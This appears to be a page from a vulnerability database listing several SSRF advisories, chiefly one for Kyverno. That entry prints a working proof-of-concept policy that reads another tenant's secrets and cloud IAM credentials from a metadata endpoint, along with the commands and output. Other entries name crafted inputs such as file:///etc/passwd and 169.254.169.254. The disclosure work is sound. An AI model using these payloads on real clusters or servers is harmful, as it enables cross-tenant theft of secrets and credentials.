tenantBSecrets.data.database | base64_decode(@) }}\"\n      pattern:\n        metadata:\n          labels:\n            force-fail: \"true\"\n  - name: steal-cloud-credentials\n    match:\n      any:\n      - resources:\n          kinds:\n          - ConfigMap\n    context:\n    - name: cloudCreds\n      apiCall:\n        method: GET\n        service:\n          url: \"http://metadata-mock.metadata-mock.svc.cluster.local/latest/meta-data/iam/security-credentials/test-role\"\n    validate:\n      message: \"STOLEN CLOUD CREDENTIALS - AccessKeyId: {{ cloudCreds.AccessKeyId }}, SecretAccessKey: {{ cloudCreds.SecretAccessKey }}\"\n      pattern:\n        metadata:\n          labels:\n            force-fail-cloud: \"true\"\n```\n\nApply Policy:\n```bash\n$ kubectl apply -f confused-deputy-attack.yaml\n[policy.kyverno.io/confused-deputy-attack](http://policy.kyverno.io/confused-deputy-attack) created\n```\n\n**Step 2: Trigger Policy Execution**\n\nCreate ConfigMap to trigger Policy:\n```bash\n$ kubectl create configmap attack-trigger -n tenant-a --from-literal=trigger=now\nconfigmap/attack-trigger created\n```\n\n**Step 3: View Stolen Data**\n\nAfter a few seconds, check PolicyReport:\n```bash\n$ kubectl get policyreport -n tenant-a -o yaml | grep -A 5 \"STOLEN\"\n```\n\nActual output:\n```yaml\n- message: \u0027validation error: STOLEN TENANT-B SECRETS - Username: admin, Password:\n    SuperSecret123!, Database: production-db. rule steal-tenant-b-secrets failed\n    at path /metadata/labels/\u0027\n  policy: tenant-a/confused-deputy-attack\n  result: fail\n  rule: steal-tenant-b-secrets\n--\n- message: \u0027validation error: STOLEN CLOUD CREDENTIALS - AccessKeyId: AKIAIOSFODNN7EXAMPLE,\n    SecretAccessKey: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY. rule steal-cloud-credentials\n    failed at path /metadata/labels/\u0027\n  policy: tenant-a/confused-deputy-attack\n  result: fail\n  rule: steal-cloud-credentials\n```\n\nAttack successful. Tenant-a has stolen through Kyverno:\n1. Tenant-b\u0027s database credentials (username: admin, password: SuperSecret123!, database: production-db)\n2. Cloud platform IAM credentials (AccessKeyId and SecretAccessKey)\n\n**Step 4: Verify Kyverno Logs**\n\nCheck Kyverno admission controller logs:\n```bash\n$ kubectl logs -n kyverno deployment/kyverno-admission-controller --tail=100 | grep -i \"apicall\"\n2026-01-06T14:40:34Z INFO DefaultContextLoaderFactory apicall/apiCall.go:151 executed service APICall {\"name\": \"cloudCredentials\", \"len\": 180}\n```\n\nLogs show APICall executed successfully, returning 180 bytes of data (exactly the JSON length of the mock credentials).\n\n### Impact\n\nThis is a critical security vulnerability with particularly severe impact in multi-tenant Kubernetes environments.\n\n**Affected Environments**\n- All multi-tenant Kubernetes clusters using Kyverno\n- Environments granting users namespace-level Policy creation permissions\n- Clusters running on cloud platforms (AWS EKS, GCP GKE, Azure AKS)\n\n**Vulnerability Impact**\n\n1. Complete Multi-Tenant Isolation Breach\n   - Tenants can read other tenants\u0027 Secrets (database passwords, API keys, etc.)\n   - Tenants can access other tenants\u0027 ConfigMaps and other resources\n   - Completely violates security assumptions of multi-tenant environments\n\n2. Cloud Platform Credential Leakage\n   - Can access cloud metadata service (169.254.169.254)\n   - Obtain node IAM role credentials\n   - Use these credentials to access cloud platform resources (S3, RDS, GCS, etc.)\n\n3. Lateral Movement\n   - Extend from Kubernetes cluster permissions to cloud platform resource access\n   - Potentially access other tenants\u0027 cloud resources\n   - Further penetration in cloud environments\n\n4. Confused Deputy Problem\n   - Low-privilege users leverage high-privilege proxy (Kyverno) to execute privileged operations\n   - Bypass RBAC permission controls\n   - Difficult to trace actual attackers through audit logs\n\n**Severity Assessment**\n\n- CVSS 3.1 Score: 8.5 (Critical)\n- CWE Classification: CWE-918 (Server-Side Request Forgery)\n\n\nIn multi-tenant environments, the severity of this vulnerability is much higher than in single-tenant environments because it does not require cluster-admin privileges and can be exploited with only namespace-level Policy creation permissions.\n\n**Real-World Scenario Risks**\n\nScenario 1: SaaS Multi-Tenant Platform\n- Each customer has one namespace\n- Customer A can steal Customer B\u0027s database passwords and API keys\n- Leads to data breaches, compliance violations, loss of customer trust\n\nScenario 2: Enterprise Internal Multi-Team Shared Cluster\n- Different business teams share one Kubernetes cluster\n- Team A can steal Team B\u0027s production database credentials\n- Leads to internal data breaches, production incidents\n\nScenario 3: Cloud Platform Managed Kubernetes\n- Running on AWS EKS, GCP GKE, Azure AKS\n- Tenants can obtain node IAM role credentials\n- Access cloud platform resources, lateral movement to cloud environment\n\n**Remediation Recommendations**\n\nImmediate measures:\n1. Disable APICall feature in multi-tenant environments\n2. Restrict Policy creation permissions to cluster-admin only\n3. Use NetworkPolicy to restrict Kyverno Pod egress traffic\n\nLong-term fixes:\n1. Add URL validation in executeServiceCall function to block internal IP addresses\n2. Use separate low-privilege ServiceAccount for APICall\n3. Implement URL whitelist mechanism\n4. Audit and monitor all APICall requests",
  "id": "GHSA-fmqp-4wfc-w3v7",
  "modified": "2026-04-14T20:06:09Z",
  "published": "2026-04-14T20:06:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-fmqp-4wfc-w3v7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kyverno/kyverno"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kyverno APICall SSRF Vulnerability Leading to Multi-Tenant Isolation Breach"
}

GHSA-FP53-QCF8-2XX2

Vulnerability from github – Published: 2026-05-08 19:09 – Updated: 2026-06-08 23:27
VLAI
Summary
Bunsink has an SSRF bypass in `validate_webhook_url`
Details

Summary

Bugsink’s webhook URL validation in versions 2.1.2 and earlier could be (partially) bypassed because of a mismatch in URL parsing.

In some malformed URLs, Python’s standard URL parser (urllib) and the HTTP client stack (requests / urllib3) do not agree on which host is actually being targeted. That could allow a webhook URL to pass Bugsink’s outbound-host checks while the actual HTTP request is sent somewhere else.

Impact

This issue affects Bugsink’s outbound webhook integrations.

An attacker who can supply or influence a webhook URL may be able to make Bugsink send an outbound HTTP POST request to a host that should have been blocked by the webhook validation logic, including loopback, private, or otherwise non-allowlisted destinations.

The practical impact is limited:

  • this is an outbound webhook SSRF issue, not a general-purpose proxy
  • Bugsink does not follow redirects for these webhook requests
  • the request shape is constrained by how the malformed URL is normalized by the HTTP client
  • this does not give arbitrary control over every possible request path

In other words, this is a real validation bypass, but it is narrower than a full arbitrary-request primitive.

Technical Details

The original validation logic parsed webhook URLs with Python’s urllib.parse.urlparse, then sent the request with requests.post.

For malformed inputs involving backslashes and @, those components can disagree about where the authority ends and which hostname is the real target. A URL may therefore appear to target an allowlisted public hostname during validation, while the HTTP client actually connects to a different host.

Fix

The fix has two parts:

  1. Bugsink now normalizes webhook URLs using the same HTTP client stack that will later send them, and applies validation to that normalized form.
  2. Bugsink now outright rejects raw webhook URLs containing characters outside the RFC URL character set, rather than relying on downstream normalization of malformed input.

Together, these changes remove the parser discrepancy and make webhook URL handling stricter and more predictable.

Workarounds

If users cannot upgrade immediately:

  • restrict who can configure or modify webhook URLs
  • review existing webhook configurations for malformed or unusual URLs
  • prefer tightly controlled outbound network policy at the deployment level
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "bugsink"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44502"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T19:09:04Z",
    "nvd_published_at": "2026-05-26T17:16:46Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nBugsink\u2019s webhook URL validation in versions 2.1.2 and earlier could be (partially) bypassed because of a mismatch in URL parsing.\n\nIn some malformed URLs, Python\u2019s standard URL  parser (urllib) and the HTTP client stack (requests / urllib3) do not agree on which host is actually being targeted. That could allow a webhook URL to pass Bugsink\u2019s outbound-host checks while the actual HTTP request is sent somewhere else.\n\n## Impact\n\nThis issue affects Bugsink\u2019s outbound webhook integrations.\n\nAn attacker who can supply or influence a webhook URL may be able to make Bugsink send an outbound HTTP POST request to a host that should have been blocked by the webhook validation logic, including loopback,\nprivate, or otherwise non-allowlisted destinations.\n\nThe practical impact is limited:\n\n- this is an outbound webhook SSRF issue, not a general-purpose proxy\n- Bugsink does not follow redirects for these webhook requests\n- the request shape is constrained by how the malformed URL is normalized by the HTTP client\n- this does not give arbitrary control over every possible request path\n\nIn other words, this is a real validation bypass, but it is narrower than a full arbitrary-request primitive.\n\n## Technical Details\n\nThe original validation logic parsed webhook URLs with Python\u2019s urllib.parse.urlparse, then sent the request with requests.post.\n\nFor malformed inputs involving backslashes and @, those components can disagree about where the authority ends and which hostname is the real target. A URL may therefore appear to target an allowlisted public\nhostname during validation, while the HTTP client actually connects to a different host.\n\n## Fix\n\nThe fix has two parts:\n\n1. Bugsink now normalizes webhook URLs using the same HTTP client stack that will later send them, and applies validation to that normalized form.\n2. Bugsink now outright rejects raw webhook URLs containing characters outside the RFC URL character set, rather than relying on downstream normalization of malformed input.\n\nTogether, these changes remove the parser discrepancy and make webhook URL handling stricter and more predictable.\n\n## Workarounds\n\nIf users cannot upgrade immediately:\n\n- restrict who can configure or modify webhook URLs\n- review existing webhook configurations for malformed or unusual URLs\n- prefer tightly controlled outbound network policy at the deployment level",
  "id": "GHSA-fp53-qcf8-2xx2",
  "modified": "2026-06-08T23:27:22Z",
  "published": "2026-05-08T19:09:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bugsink/bugsink/security/advisories/GHSA-fp53-qcf8-2xx2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44502"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bugsink/bugsink/commit/940d2df635e06803ef658666d734306942db5cc7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bugsink/bugsink"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bugsink/bugsink/releases/tag/2.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Bunsink has an SSRF bypass in `validate_webhook_url`"
}

GHSA-FPJ9-JJ78-PV6W

Vulnerability from github – Published: 2025-03-06 21:31 – Updated: 2025-03-06 21:31
VLAI
Details

A Server-Side Request Forgery (SSRF) in the component sort.php of Emlog Pro v2.5.4 allows attackers to scan local and internal ports via supplying a crafted URL.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-25827"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-26T15:15:28Z",
    "severity": "MODERATE"
  },
  "details": "A Server-Side Request Forgery (SSRF) in the component sort.php of Emlog Pro v2.5.4 allows attackers to scan local and internal ports via supplying a crafted URL.",
  "id": "GHSA-fpj9-jj78-pv6w",
  "modified": "2025-03-06T21:31:25Z",
  "published": "2025-03-06T21:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25827"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Ka7arotto/emlog/blob/main/ssrf.md"
    },
    {
      "type": "WEB",
      "url": "https://www.emlog.net"
    },
    {
      "type": "WEB",
      "url": "http://emlogpro.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FPJQ-WFVR-WX93

Vulnerability from github – Published: 2024-06-21 00:33 – Updated: 2025-08-27 21:31
VLAI
Details

A Server-Side Request Forgery vulnerability was identified in GitHub Enterprise Server that allowed an attacker with the Site Administrator role to gain arbitrary code execution capability on the GitHub Enterprise Server instance. Exploitation required authenticated access to GitHub Enterprise Server as a user with the Site Administrator role. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.13 and was fixed in versions 3.12.5, 3.11.11, 3.10.13, and 3.9.16. This vulnerability was reported via the GitHub Bug Bounty program.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-5746"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-20T22:15:16Z",
    "severity": "HIGH"
  },
  "details": "A Server-Side Request Forgery vulnerability was identified in GitHub Enterprise Server that allowed an attacker with the Site Administrator role to gain arbitrary code execution capability on the GitHub Enterprise Server instance. Exploitation required authenticated access to GitHub Enterprise Server as a user with the Site Administrator role.\u00a0This vulnerability affected all versions of GitHub Enterprise Server prior to 3.13 and was fixed in versions 3.12.5, 3.11.11, 3.10.13, and 3.9.16. This vulnerability was reported via the GitHub Bug Bounty program.",
  "id": "GHSA-fpjq-wfvr-wx93",
  "modified": "2025-08-27T21:31:37Z",
  "published": "2024-06-21T00:33:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5746"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.10/admin/release-notes#3.10.13"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.11/admin/release-notes#3.11.11"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.12/admin/release-notes#3.12.5"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.9/admin/release-notes#3.9.16"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FPM8-6XJP-2HQ8

Vulnerability from github – Published: 2026-06-26 15:32 – Updated: 2026-06-26 15:32
VLAI
Details

HTMLy 3.1.1 contains a Server-Side Request Forgery (SSRF) vulnerability in the RSS feed import functionality. The function get_feed() in system/admin/admin.php passes user-supplied $feed_url directly to file_get_contents() without any validation. An authenticated attacker with administrative privileges can exploit this by entering a crafted URL (e.g., http://dnslog.example.com, file:///etc/passwd, or http://169.254.169.254 in cloud contexts) via Tools -> Import RSS. The server will then make a request to the attacker-controlled target.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-57940"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-26T14:17:07Z",
    "severity": "LOW"
  },
  "details": "HTMLy 3.1.1 contains a Server-Side Request Forgery (SSRF) vulnerability in the RSS feed import functionality. The function get_feed() in system/admin/admin.php passes user-supplied $feed_url directly to file_get_contents() without any validation. An authenticated attacker with administrative privileges can exploit this by entering a crafted URL (e.g., http://dnslog.example.com, file:///etc/passwd, or http://169.254.169.254 in cloud contexts) via Tools -\u003e Import RSS. The server will then make a request to the attacker-controlled target.",
  "id": "GHSA-fpm8-6xjp-2hq8",
  "modified": "2026-06-26T15:32:14Z",
  "published": "2026-06-26T15:32:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57940"
    },
    {
      "type": "WEB",
      "url": "https://github.com/danpros/htmly/blob/c8b7ed9af39a266b256759becf26dba6a59e11e6/system/admin/admin.php#L1549-L1551"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:A/V:D/RE:L/U:Clear",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-FPW6-P57H-MV5Q

Vulnerability from github – Published: 2026-04-05 06:32 – Updated: 2026-04-05 06:32
VLAI
Details

A vulnerability was detected in QingdaoU OnlineJudge up to 1.6.1. Affected by this issue is the function service_url of the file JudgeServer.service_url of the component judge_server_heartbeat Endpoint. The manipulation results in server-side request forgery. It is possible to launch the attack remotely. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-5538"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-05T04:16:15Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was detected in QingdaoU OnlineJudge up to 1.6.1. Affected by this issue is the function service_url of the file JudgeServer.service_url of the component judge_server_heartbeat Endpoint. The manipulation results in server-side request forgery. It is possible to launch the attack remotely. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-fpw6-p57h-mv5q",
  "modified": "2026-04-05T06:32:02Z",
  "published": "2026-04-05T06:32:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5538"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AnalogyC0de/public_exp/issues/27"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/782203"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/355291"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/355291/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.